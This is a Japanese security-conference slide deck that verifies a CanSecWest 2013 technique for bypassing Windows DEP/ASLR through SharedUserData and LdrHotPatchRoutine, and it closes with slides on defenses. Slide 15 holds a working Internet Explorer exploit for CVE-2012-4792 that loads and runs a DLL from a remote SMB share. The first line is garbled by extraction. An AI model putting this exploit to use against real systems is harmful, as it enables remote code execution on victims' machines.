29
ROP/JIT ををををを DEP/ASLR ををををを CanSecWest 2013 を をををををROP/JIT ををををを DEP/ASLR ををををを1

APASEC 2013 - ROP/JIT を使わずに DEP/ASLR を回避する手法を見てみた。

Embed Size (px)

DESCRIPTION

CanSecWest 2013 で公開された資料を詳しく見てみた。

Citation preview

Page 1: APASEC 2013 - ROP/JIT を使わずに DEP/ASLR を回避する手法を見てみた。

1

ROP/JIT を使わずにDEP/ASLR を回避する。

CanSecWest 2013 の資料の検証。

ROP/JIT を使わずに DEP/ASLR を回避する。

Page 2: APASEC 2013 - ROP/JIT を使わずに DEP/ASLR を回避する手法を見てみた。

2

お品書き

自己紹介

どんな資料なの

回避する対象の DEP / ASLR って、なんなの

今回の提案手法の概要とサンプルコード

実際に試してみた。

気になったところ。

ROP/JIT を使わずに DEP/ASLR を回避する。

Page 3: APASEC 2013 - ROP/JIT を使わずに DEP/ASLR を回避する手法を見てみた。

3

自己紹介

三村 聡志 (@mimura1133) / APASEC 初参加http://mimumimu.net/ http://facebook.com/mimura1133

セキュリティ&プログラミングキャンプ 2011 参加。

セキュリティ・キャンプ 2012 チュータ参加。

最近取材受けた [NEW!]

ROP/JIT を使わずに DEP/ASLR を回避する。

Page 4: APASEC 2013 - ROP/JIT を使わずに DEP/ASLR を回避する手法を見てみた。

4

どういう資料なのか。ROP/JIT を使わずに DEP/ASLR を回避する。

Page 5: APASEC 2013 - ROP/JIT を使わずに DEP/ASLR を回避する手法を見てみた。

5

資料概要

CanSecWest Vancouver 2013 で発表された資料。 (http://cansecwest.com/csw13archive.html)

NSFOCUS Security Labs の  Yang Yu さんが発表。

ROP や JIT を使わずに、DEP や ASLR を回避して、任意のコードを実行しよう、という内容。

ROP/JIT を使わずに DEP/ASLR を回避する。

Page 6: APASEC 2013 - ROP/JIT を使わずに DEP/ASLR を回避する手法を見てみた。

6

回避したいDEP/ASLR ってなに?

ROP/JIT を使わずに DEP/ASLR を回避する。

Page 7: APASEC 2013 - ROP/JIT を使わずに DEP/ASLR を回避する手法を見てみた。

7

DEP ( データ実行防止 ) メモリ上のデータに「実行不可能」という印をつけて、動作を制限する。 攻撃者が不正なプログラムを送り込む際に、

本来は実行プログラムのデータが格納されるはずのない場所にデータを格納して、実行させようとする所に着目。

下手なシェルコードを送り込むと、これで弾かれる。 カーネルでやらかすと ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY が発生。

詳しく書くと : x86_64 版 Windows + x86_64 環境用の実行ファイル

全てに適用される。 (AlwaysOn)   BCD にて nx = AlwaysOff と指定すれば外れる。 スレッドスタック (Kernel,User), ページ領域 (User), Paged pool (Kernel), Session Pool (Kernel) が対象。

x86 版 Windows or x86 環境用の実行ファイル 重要なもののみに原則適用。 (OutIn) ただし、サーバ用 OS では原則全て (OptOut) なお、 PAE (Physical Address Extension) が有効な環境でないと、ハードウェア DEP が有効にならない。 スレッドスタック (User), ページ領域 (User)

ROP/JIT を使わずに DEP/ASLR を回避する。

Page 8: APASEC 2013 - ROP/JIT を使わずに DEP/ASLR を回避する手法を見てみた。

8

ASLR ( アドレス空間配置のランダム化 ) 下記データのメモリアドレスを不定にする。 ・イメージ(実行データ)・スタック領域 ・ヒープ領域

攻撃者がプログラム内部のコードを攻撃をするためにうまく組み合わせて攻撃してくることがあるが、アドレスを不定にしてそれをしにくくする。

分からなければ、 3時のおやつを 「いつも同じ特定の場所」 に隠しておくと、いつの間にかバレて、おやつが食べられてしまうことを想像しよう。

詳しく書くと: (イメージデータ)  TSC (CPU のタイムスタンプ値 ) を元に 8ビットの値を生成し、254 で割り、 1を足したものに 64KB を掛けたものを用いる。  DLL に関してはシステム起動時に 1回計算し、その値を元にランダム化する。

(スタック ) TSC を元に5ビットの値を生成して領域を決め、その後 9ビットの値を生成し直して4を掛けた値を、最終的なスタックのアドレスとする。

(ヒープ) TSC を元に5ビットの値を生成し、そこに 64KB を掛けた値をアドレスとする。 イメージは (0x50000000 – 0x78000000) ヒープは (0x00000000 – 0x001F0000) の範囲が原則。

ROP/JIT を使わずに DEP/ASLR を回避する。

Page 9: APASEC 2013 - ROP/JIT を使わずに DEP/ASLR を回避する手法を見てみた。

9

ROP (Return-Oriented-Programming)

イメージとしては、新聞で脅迫文(失礼)を作るような感じ。

仕掛けとしては、 “ ret” 命令で戻る際のアドレスが書き込まれているスタック領域を、プログラム内でつかえそうな部分のアドレスに書き換える。 あとは、 ret -> 指定箇所が実行される -> ret -> 指定箇所2が実行される… の繰り返し。

実行不可能な場所を使っているのでは無く、実行可能なコードを組み合わせて使う。

先述の DEP に対してはこれで何とかなる。

ただ ASLR が掛かってると、欲しい箇所のアドレスが分からない。

ROP/JIT を使わずに DEP/ASLR を回避する。

Page 10: APASEC 2013 - ROP/JIT を使わずに DEP/ASLR を回避する手法を見てみた。

10

JIT (Just-In-Time) [Compiler]

身近な例ではMicrosoft .NET, Mono, Java, JavaScript ( 実装による )

実行中に「実行可能コード」を ”生成” する。 実行中に悪用可能なコードを実行可能コードとして配置できる。

過去にあった例: PDF (BlackHat DC 2010)

ROP/JIT を使わずに DEP/ASLR を回避する。

Page 11: APASEC 2013 - ROP/JIT を使わずに DEP/ASLR を回避する手法を見てみた。

11

でも動かすのめんどい。

JIT コンパイラがあって、かつそれが使えそうな感じかどうか。

ROP が出来そうな、 ASLR の掛かっていないやつがあるかどうか。

=> ではこれ以外の環境ではどうするの? 今回の発表 .

ROP/JIT を使わずに DEP/ASLR を回避する。

Page 12: APASEC 2013 - ROP/JIT を使わずに DEP/ASLR を回避する手法を見てみた。

12

概要とサンプルコードROP/JIT を使わずに DEP/ASLR を回避する。

Page 13: APASEC 2013 - ROP/JIT を使わずに DEP/ASLR を回避する手法を見てみた。

13

概要 Windows NT4 以降の Windows では、0x7ffe0000 に SharedUserData 構造体のデータがアドレス固定で置かれている。

(アドレス固定なので、面倒くさいことせず、決め打ちで呼び出せる!) [いつも同じ場所にお菓子を隠しているので、食べ放題!]

x86 環境では: 0x7ffe0000 + 0x300 の位置に SystemCall へのポインタが置かれている。 ax (eax ではない) の値を正しく設定し、 SystemCall を呼べれば、システムコールできる!

x86_64 環境 (for x86 アプリケーション) では: 0x7ffe0000 + 0x340 の位置から Wow64SharedInformation 構造体のデータが格納されてる。 その中からさらに +0x010 した位置 ( 0x7ffe0350 ) に、ntdll!LdrHotPatchRoutine へのポインタが置かれている。

このAPIを使って、任意の DLL を読み込ませて、任意のコードを実行できる!ROP/JIT を使わずに DEP/ASLR を回避する。

Page 14: APASEC 2013 - ROP/JIT を使わずに DEP/ASLR を回避する手法を見てみた。

14

SystemCall を使った手法 (for x86) MS08-078(ポインタ参照の メモリ破壊の脆弱性)

を応用したサンプル。

eax の先を “ 7c02fe7f”(0x7ffe027c + 0x84 = KiFastSystemCall)になるようにメモリを埋めておく。

このコードが成功すると、0x11db のシステムコールが実行される。

ROP/JIT を使わずに DEP/ASLR を回避する。

Page 15: APASEC 2013 - ROP/JIT を使わずに DEP/ASLR を回避する手法を見てみた。

15

ntdll!ldrHotPatchRoutine を使った手法 ( for x86_64 )

ROP/JIT を使わずに DEP/ASLR を回避する。

function CVE-2012-4792_EXP() {var e0 = null;var e1 = null;var e2 = null;try {e0 = document.getElementById("a");e1 = document.getElementById("b");e2 = document.createElement("q");e1.applyElement(e2);e1.appendChild(document.createElement('button'));e1.applyElement(e0);e2.outerText = "";e2.appendChild(document.createElement('body'));} catch(e) { }CollectGarbage();window.location = "\u0274\u7ffe\u4242\u4242\u0014\u0030\u0044" +"\u0012\u1212\u0004\u005c\u005c\u0031\u0039\u0032\u002e\u0031" +"\u0036\u0038\u002e\u0035\u0039\u002e\u0031\u0032\u0038\u005c" +"\u0078\u005c\u0078\u002e\u0064\u006c\u006c\u006e\u0074\u0064" +"\u006c\u006c\u002e\u0064\u006c\u006c";}

struct HotPatchBuffer{ULONG NotSoSure01; // => EAX へULONG NotSoSure02;USHORT PatcherNameOffset;USHORT PatcherNameLen;USHORT PatcheeNameOffset;USHORT PatcheeNameLen;USHORT UnknownNameOffset;USHORT UnknownNameLenchar[] PatcherName;char[] PatcheeName;};

PatcherName : \\192.168.59.128\x\x.dll

PatcheeName : ntdll.dll

Page 16: APASEC 2013 - ROP/JIT を使わずに DEP/ASLR を回避する手法を見てみた。

16

ntdll!ldrHotPatchRoutine を使った手法 ( for x86_64 )

MS13-008 を応用したサンプル。

先ほどのコードが実行されると、LdrHotPatchRoutine が実行される。

また、事前に “ push edi” としている点から、関数に必要なパラメータはここから持ってこれる。

ROP/JIT を使わずに DEP/ASLR を回避する。

Page 17: APASEC 2013 - ROP/JIT を使わずに DEP/ASLR を回避する手法を見てみた。

17

実際に試してみた。ROP/JIT を使わずに DEP/ASLR を回避する。

Page 18: APASEC 2013 - ROP/JIT を使わずに DEP/ASLR を回避する手法を見てみた。

18

テスト環境

Windows 7 Service Pack 1 (x86, x86_64) + Internet Explorer 8

Windows 8 (x86, x86_64) + Internet Explorer 10

留意点:MSDN よりダウンロードした状態でそのまま使う。Windows Update 等は禁止する。

ROP/JIT を使わずに DEP/ASLR を回避する。

Page 19: APASEC 2013 - ROP/JIT を使わずに DEP/ASLR を回避する手法を見てみた。

19

挿入する DLL :

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved)

{

switch(fdwReason)

{

case DLL_PROCESS_ATTACH:

MessageBox (NULL,L"HELLO APA SEC!",NULL,NULL);

break;

}

return TRUE;

}

ROP/JIT を使わずに DEP/ASLR を回避する。

Page 20: APASEC 2013 - ROP/JIT を使わずに DEP/ASLR を回避する手法を見てみた。

20

実行させてみた。

ROP/JIT を使わずに DEP/ASLR を回避する。

実行後は IE が応答無しになる。MS13-008 が未修正の x86 版 Windows で実行すると、すさまじい数のアラートが出る。

Page 21: APASEC 2013 - ROP/JIT を使わずに DEP/ASLR を回避する手法を見てみた。

21

もっと動かしてみた。

ROP/JIT を使わずに DEP/ASLR を回避する。

EMET では、外部サーバの DLL を見に行くような挙動はチェックしていないらしい。

また、LdrHotPatchRoutine の呼び出しについても同様。

Page 22: APASEC 2013 - ROP/JIT を使わずに DEP/ASLR を回避する手法を見てみた。

22

気になったところ。ROP/JIT を使わずに DEP/ASLR を回避する。

Page 23: APASEC 2013 - ROP/JIT を使わずに DEP/ASLR を回避する手法を見てみた。

23

この攻撃を防ぐには?

LdrHotpatchRoutine のパラメータを見る。

あとは外向けのファイアウォールで、 SMB 通信を切る。

ROP/JIT を使わずに DEP/ASLR を回避する。

struct HOTPATCH{DWORD Flags;DWORD Size;union {

struct CodeInfo { }

struct KernelInfo { }

struct UserModeInfo { }

struct InjectionInfo { }

struct RenameInfo {}

struct AtomicSwap { }

}}

Flag は正しい?size は正しい?

リモートのファイルを見に行ってない?

そもそも、呼び出し元は?

http://www.openrce.org/articles/full_view/22

ここに LdrHotPatchRoutine に対しての詳しい資料がある。

APA akasaka

-180APA

Page 24: APASEC 2013 - ROP/JIT を使わずに DEP/ASLR を回避する手法を見てみた。

24

SharedUserData に SystemCall を指し示したポインタがない。

でも、 KiFastSystemCall 自体は存在する。

プロセスからアクセスできる範囲を全部検索してみても、そこを示したポインタはなさそう。

Windows 8 では?

ROP/JIT を使わずに DEP/ASLR を回避する。

Windows 8Windows XP

Windows 8

Page 25: APASEC 2013 - ROP/JIT を使わずに DEP/ASLR を回避する手法を見てみた。

25

Windows 8 では?

Wow64SharedInformation がない。

ただし、メソッド自体は残っている。

検索結果は先ほどと同様。ROP/JIT を使わずに DEP/ASLR を回避する。

Windows 8Windows 7

Page 26: APASEC 2013 - ROP/JIT を使わずに DEP/ASLR を回避する手法を見てみた。

26

x86 のサンプルについて 0x11db と書いてあるけれど、それはNtGdiEngCheckAbort だとおもう。

NtUserLockWorkStation なら、0x12db では。

・・でも、もちろんこの値を正しく設定できれば、実行はできるはず。(未確認。)

ref : http://j00ru.vexillium.org/win32k_x64/

ROP/JIT を使わずに DEP/ASLR を回避する。

Page 27: APASEC 2013 - ROP/JIT を使わずに DEP/ASLR を回避する手法を見てみた。

27

まとめROP/JIT を使わずに DEP/ASLR を回避する。

Page 28: APASEC 2013 - ROP/JIT を使わずに DEP/ASLR を回避する手法を見てみた。

28

まとめ。 0x7ffe0000 に SharedUserData 構造体のデータがアドレス固定で置かれている。 そのうち、 x86 では KiFastSystemCallx86_64 では LdrHotPatchRoutine を呼び出すことが出来る。

特に後者ではスプレー不要のため、より簡単に呼び出せて危険。

Windows 8 では今回の問題に関する情報は削除されていた。

ROP/JIT を使わずに DEP/ASLR を回避する。

Page 29: APASEC 2013 - ROP/JIT を使わずに DEP/ASLR を回避する手法を見てみた。

29

ROP/JIT を使わずにDEP/ASLR を回避する。

CanSecWest 2013 の資料の検証。

ROP/JIT を使わずに DEP/ASLR を回避する。